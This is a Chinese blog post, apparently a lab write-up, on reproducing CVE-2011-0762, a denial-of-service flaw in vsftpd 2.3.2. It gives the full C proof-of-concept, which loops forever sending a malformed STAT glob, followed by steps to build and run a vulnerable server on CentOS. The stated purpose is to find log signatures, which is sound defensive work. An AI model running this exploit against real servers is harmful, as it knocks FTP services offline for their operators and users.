zoukankan      html  css  js  c++  java
  • CVE-2011-0762环境搭建与EXP利用

    CVE-2011-0762 vsftpd拒绝服务漏洞

    危害:通过发送特殊构造的数据包、利用漏洞使应用程序崩溃

    条件:连接上vsftpd才能发包

    发现时间:2011-03-01

    需求:找到EXP运行发送的数据日志中的特征

    EXP地址 https://www.exploit-db.com/exploits/16270/

      1 #include <stdio.h>
      2 #include <stdlib.h>
      3 #include <string.h>
      4 #include <sys/types.h>
      5 #include <sys/socket.h>
      6 #include <netinet/in.h>
      7 #include <netdb.h>
      8 
      9 /*
     10 This is code of
     11 http://cxib.net/stuff/vspoc232.c
     12 
     13 PoC CVE-2011-0762 ( vsftpd )
     14 Remote Denial of Service
     15 
     16 Affected: 2.3.2
     17 Fix: 2.3.4
     18 
     19 Author:
     20 Maksymilian Arciemowicz
     21 
     22 Use:
     23 ./vspoc232 127.0.0.1 21 user pass 1
     24 
     25 or read
     26 http://securityreason.com/achievement_securityalert/95
     27 for more information
     28 
     29 Example result:
     30 cx@cx64:~$ telnet 172.5.0.129 21
     31 Trying 172.5.0.129...
     32 Connected to 172.5.0.129.
     33 Escape character is '^]'.
     34 500 OOPS: fork
     35 Connection closed by foreign host.
     36 
     37 */
     38 
     39 int skip=0;
     40 
     41 int sendftp(int stream,char *what){
     42         if(-1==send(stream,what,strlen(what),0))
     43                 printf("Can't send %s
    ",what);
     44         else
     45                 printf("send: %s
    ",what);
     46 
     47         bzero(what,sizeof(what));
     48 }
     49 
     50 void readftp(int stream){
     51         char readline[4096];
     52         if(recv(stream,readline,4096,0)<1)
     53         if(!skip) exit(1); // end
     54         else
     55            printf("recv: %s
    ",readline);
     56 
     57 }
     58 
     59 int sendstat(host,port,login,pass)
     60         char *host,*port,*login,*pass;
     61 {
     62         char buffer[4097]; // send ftp command buffor
     63         int     sockfd,n,error;
     64         struct addrinfo hints;
     65     struct addrinfo *res, *res0;
     66 
     67         memset(&hints, 0, sizeof(hints));
     68         hints.ai_family = PF_UNSPEC;
     69         hints.ai_socktype = SOCK_STREAM;
     70         error = getaddrinfo(host,port,&hints,&res0);
     71 
     72         if (error){
     73                 errorcon:
     74                 printf("Can`t connect
    .exit");
     75                 exit(1);
     76         }
     77 
     78         if((sockfd=socket(res0->ai_family,res0->ai_socktype, res0->ai_protocol))<0) goto errorcon;
     79         if(-1==connect(sockfd,res0->ai_addr,res0->ai_addrlen)) goto errorcon;
     80 
     81         readftp(sockfd);
     82         snprintf(buffer,4096,"USER %s
    PASS %s
    
    ",login,pass);
     83         sendftp(sockfd,buffer);
     84         readftp(sockfd);
     85 
     86         snprintf(buffer,4096,"STAT {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
    ");
     87         sendftp(sockfd,buffer);
     88         freeaddrinfo(res0);
     89 }
     90 
     91 int main(int argc,char *argv[])
     92 {
     93         char *login,*pass,logindef[]="anonymous",passdef[]="cxib.net@127.0.0.1";
     94 
     95         if(argc<3){
     96                 printf("
    Use: ./vspoc232 host port [username] [password] [option]
    host and port are requied
    use option = 1 to skip recv() fails
    
    example:
    ./vspoc232 127.0.0.1 21 user pass 1
    
    ");
     97                 exit(1);
     98         }
     99 
    100         char *host=argv[1];
    101         char *port=argv[2];
    102 
    103         if(4<=argc) login=argv[3];
    104         else login=logindef;
    105 
    106         if(5<=argc) pass=argv[4];
    107         else pass=passdef;
    108 
    109         if(6<=argc) skip=1;
    110 
    111         while(1){
    112                 printf("----------------------------- next
    ");
    113                 sendstat(host,port,login,pass);
    114                 sleep(1); // some delay to be sure
    115         }
    116         return 0; // never happen
    117 }

    查看EXP,需要socket连接,还需要FTP用户名和密码,才会继续发包。当然可以修改一下程序,随便连一个端口就开始发buf,但是怕有一些出入,还是搭环境吧。

    环境==> centos6.5

    vsftpd 2.3.2 download address: http://vdisk.weibo.com/s/uKF5p9XuEaPPR(百度找一个就好了)

    1. 

    下载后

    移到自己的文件夹

    mkdir huim

    cp vsftpd-2.3.2.tar.gz /huim/vsftpd-2.3.2.tar.gz

    解压

    tar -zxvf vsftpd-2.3.2.tar.gz

    ls

    查看安装说明,详情请查看改文件,从安装到启动一步到位

    more INSTALL

    添加 nobody用户

    useradd nobody

    useradd: user nobody exists 已经存在

    创建空目录存放

    mkdir /usr/share/empty/ 

    已经存在

    FTP目录root

    chown root.root /var/ftp  

    更改权限,去掉属组和其他人的写权限

    chmod og-w /var/ftp

    编译二进制

    make 

    安装

    make install

    出现了类似以下的错误

    collect2: ld returned 1 exit status
    make: *** [vsftpd] Error 1

    其中缺少依赖

    一个重要的是

    yum install libcap-devel

    后来按照INSTALL中的一些cp mv 操作,就OK了

    最后一个解决的是

    /usr/local/man路径下的 man5路径,可能是之前cp的时候复制的是 man5的文件,所以出错。

    之后  ftp 127.0.0.1,用户名 anonymous,密码随意,成功登入。

    运行EXP,开始拒绝服务攻击。

    参考:

    http://www.cnblogs.com/wayne173/p/3747336.html
    http://tyjhz.blog.51cto.com/8756882/1392754/

  • 相关阅读:
    [转](五)unity4.6Ugui中文教程文档-------概要-UGUI Interaction Components
    [转](四)unity4.6Ugui中文教程文档-------概要-UGUI Visual Components
    [转](三)unity4.6Ugui中文教程文档-------概要-UGUI Basic Layout
    [转](二)unity4.6Ugui中文教程文档-------概要-UGUI Canvas
    [转](一)unity4.6Ugui中文教程文档-------概要
    Blog List
    引用总结
    动态申请二维数组
    malloc/free
    memset
  • 原文地址:https://www.cnblogs.com/huim/p/7570688.html
Copyright © 2011-2022 走看看